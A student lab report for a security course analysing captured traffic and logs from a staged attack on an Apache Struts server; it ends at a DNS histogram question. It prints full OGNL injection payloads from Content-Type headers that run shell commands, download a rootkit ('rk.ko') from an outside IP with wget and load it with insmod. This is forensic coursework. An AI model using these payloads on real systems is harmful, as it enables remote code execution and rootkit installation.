Mini-Project 3 Checkpoint 1

ECE/CS 498DS

Spring 2020

Chuhao Feng (chuhaof2), Boyang Zhou (boyangz3), Mengxuan Yu (my13)

All Registered

Task 0

0.6.(a) Which http pcap file represents legitimate activity, and which represents attacker activity?

http2.pcap represents legitimate activity while http.pcap represents attacker activity.

0.6.(b) Are there any Content-Type headers in legitimate activity pcap file? If there are, list those Content-Type headers.

No, there is not any Content-Type headers in legitimate activity pcap file.

Task 1 – HTTP Traffic Analysis

- Task 1. 1. a Report the **UNIX timestamp** of the first attempted scan on the vulnerable server
- 1521394903.610774000

- Task 1. 1.b What is the **IP address** of the vulnerable server?
- 172.17.0.2

- Task 1. 1.c What is the **port** of the vulnerable server?
- 8080

Task 1 – HTTP Traffic Analysis

- 2.a Provide a list of the Content-Type headers sent to the vulnerable server from the provided HTTP packet capture. For each Content-Type header, provide its length as well.

```
[('.multipart/form-data~${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("LOLOLOLOLOLPAYLOADWORKEDLOLOLOLOL",1330+7)}', 144), ('.multipart/form-
data~${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("LOLOLOLOLOLPAYLOADWORKEDLOLOLOLOL",1330+7)}', 144), ('.multipart/form-
data~${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("LOLOLOLOLOLPAYLOADWORKEDLOLOLOLOL",1330+7)}', 144), ('application/x-www-form-urlencoded', 33), ('application/x-www-form-urlencoded',
33), ('application/x-www-form-urlencoded', 33), ('application/x-www-form-urlencoded', 33), ("%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymp
hony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().c
ontains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()
,#ros)).(#ros.flush())}", 806), ("%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymp
hony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCa
se().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()
,#ros)).(#ros.flush())}", 810), ("%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymp
hony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget http://162.212.156.148/rk.ko >
rk.ko').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()
,#ros)).(#ros.flush())}", 845), ("%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymp
hony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget http://162.212.156.148/rk.ko >
rk.ko').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()
,#ros)).(#ros.flush())}", 845), ("%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymp
hony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='insmod
rk.ko.1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()
,#ros)).(#ros.flush())}", 818), ("%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymp
hony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='insmod
rk.ko.1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()
,#ros)).(#ros.flush())}", 818), ("%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymp
hony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='insmod
rk.ko.1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()
,#ros)).(#ros.flush())}", 818)]
```

Task 1 – HTTP Traffic Analysis

- 2.b Fill in the blanks in the table below

Command Name	Present in the attack?	Interpretation of the command
whoami	**Yes**	**Displays the name of the current user**
wget	**Yes**	**Downloads a file with a sensitive extension without signifying the user**
ls	**Yes**	**List information about the FILEs**
cat	**No**	
cd	**No**	
insmod	**Yes**	**Insert a module into the kernel (Installs a rootkit as a new kernel module)**
ssh	**No**	
lsmod	**No**	

Task 1 – Host Logs Analysis

1.a Provide a list of kernel modules added or removed from the system:

kernel module (added/removed) list:
['rk', 'ipt_MASQUERADE', 'nf_nat_masquerade_ipv4', 'nf_conntrack_netlink', 'nfnetlink', 'xfrm_user', 'xfrm_algo', 'iptable_nat', 'nf_conntrack_ipv4', 'nf_defrag_ipv4', 'nf_nat_ipv4', 'xt_addrtype', 'iptable_filter', 'ip_tables', 'xt_conntrack', 'x_tables', 'nf_nat', 'nf_conntrack', 'br_netfilter', 'bridge', 'stp', 'llc', 'overlay', 'ppdev', 'intel_powerclamp', 'crct10dif_pclmul', 'crc32_pclmul', 'ghash_clmulni_intel', 'aesni_intel', 'aes_x86_64', 'lrw', 'vboxvideo', 'gf128mul', 'glue_helper', 'ablk_helper', 'cryptd', 'ttm', 'drm_kms_helper', 'snd_intel8x0', 'snd_ac97_codec', 'ac97_bus', 'input_leds', 'joydev', 'serio_raw', 'snd_pcm', 'drm', 'fb_sys_fops', 'snd_timer', 'syscopyarea', 'sysfillrect', 'i2c_piix4', 'snd', 'sysimgblt', 'soundcore', 'vboxguest', '8250_fintek', 'parport_pc', 'parport', 'mac_hid', 'autofs4', 'hid_generic', 'usbhid', 'hid', 'psmouse', 'ahci', 'libahci', 'e1000', 'pata_acpi', 'fjes', 'video', 'xt_nat', 'xt_tcpudp', 'veth', 'floppy', 'xor', 'raid6_pq', 'ufs', 'qnx4', 'hfsplus', 'hfs', 'minix', 'ntfs', 'msdos', 'jfs', 'xfs', 'libcrc32c', 'btrfs', 'nfnetlink_queue', 'nfnetlink_log', 'bluetooth']

1.b What is the attacker-controlled kernel module?

After searching all the contents in the Content-Type Headers, we only find two records with the GET request 'wget':

- cmd='wget http://162.212.156.148/rk.ko > rk.ko'
- cmd='wget http://162.212.156.148/rk.ko > rk.ko'

And the rk.ko is also in the kernel module (added/removed) list, so we can conclude that the kernel module named 'rk.ko' is attacker controlled module.

Task 1 – Host Logs Analysis

1.c How did you verify that the module was loaded onto the server?

After searching all the contents in the Content-Type Headers which are sent to the vulnerable server,
we only find three records with the Load Module request 'insmod':

- cmd='insmod rk.ko.1'
- cmd='insmod rk.ko.1'
- cmd='insmod rk.ko.1'

These records of command show that the attackor controlled module 'rk.ko' is loaded in to the vulnerable server.

Task 1 – Host Logs Analysis

2. What is the **file name** that contains the internal hostnames?

Here we find that the file "known_hosts" is the file that the folder ".ssh" (the important folder the attacker will use in the stage 5 of attack) contains. Thus, "known_hosts" is the file that contains the list of internal hostname.

Task 1 – Host Logs Analysis

3. Do you observe any evidence that the attacker extracted the internal host names via HTTP in the logs? (If yes, report the log line. If not, briefly explain why not.)

We can see that the http content-type headers do not contain any command that uses the internal name file "known_hosts", so we can conclude that the attacker does not extract the list of internal hostnames via http.

Task 1 – DNS Traffic Analysis

1. (a) Provide the IP address of the attacker-controlled DNS server: 162.212.156.148

1. (b) Provide the IP address of the legitimate DNS server: 75.75.75.75

2. Histogram of the length of DNS queries: